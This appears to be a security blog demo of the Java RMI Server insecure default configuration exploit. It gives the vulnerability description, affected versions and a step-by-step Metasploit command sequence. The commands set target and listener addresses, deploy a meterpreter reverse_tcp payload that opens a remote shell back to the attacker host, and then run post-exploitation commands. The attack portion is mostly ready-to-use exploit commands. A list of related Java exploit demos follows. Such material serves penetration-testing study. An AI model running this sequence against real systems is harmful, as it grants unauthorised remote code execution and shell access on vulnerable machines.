Java RMI Server Insecure Default Configuration Java Code Execution
Timeline :
Vulnerability discovered by mihi
Metasploit exploit released the 2011-07-15
PoC provided by :
mihi
Reference(s) :
Oracle Java RMI documentation
Affected version(s) :
All JSE versions
Tested on Windows XP SP3 with :
JSE 7 (build 1.7.0-b147)
Description :
This module takes advantage of the default configuration of the RMI Registry and RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector which is available via every RMI endpoint, it can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as well. Note that it does not work against Java Management Extension (JMX) ports since those do not support remote class loading, unless another RMI endpoint is active in the same Java process. RMI method calls do not support or require any sort of authentication.
Commands :
On windows target box : cd C:\Program Files\Java\jre7\bin start rmiregistry.exe On Metasploit box : use exploit/multi/misc/java_rmi_server set RHOST 192.168.178.48 set SRVHOST 192.168.178.21 set TARGET 1 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.178.21 exploit sessions -i 1 sysinfo getuid ipconfig
I recommend you to read these related posts
- CVE-2010-0886 : Sun Java Web Start Plugin Command Line Argument Injection
- CVE-2012-0507 Java AtomicReferenceArray Type Violation Vulnerability Metasploit Demo
- CVE-2013-0431 Java Applet JMX Remote Code Execution Metasploit Demo
- CVE-2011-3544 Java Applet Rhino Script Engine Metasploit Demo
- CVE-2013-2423 – Java 7u17 Applet Reflection Type Confusion RCE Metasploit Demo
- CVE-2012-5076 Java Applet JAX-WS Remote Code Execution Metasploit Demo
- CVE-2010-3552 : Oracle Java Runtime New Plugin docbase Buffer Overflow
- CVE-2010-4452 : Oracle Java Applet2ClassLoader Remote Code Execution Exploit
- CVE-2010-3563 : Sun Java Web Start BasicServiceImpl Remote Code Execution Exploit
- CVE-2012-5076 Java Applet AverageRangeStatisticImpl RCE Metasploit Demo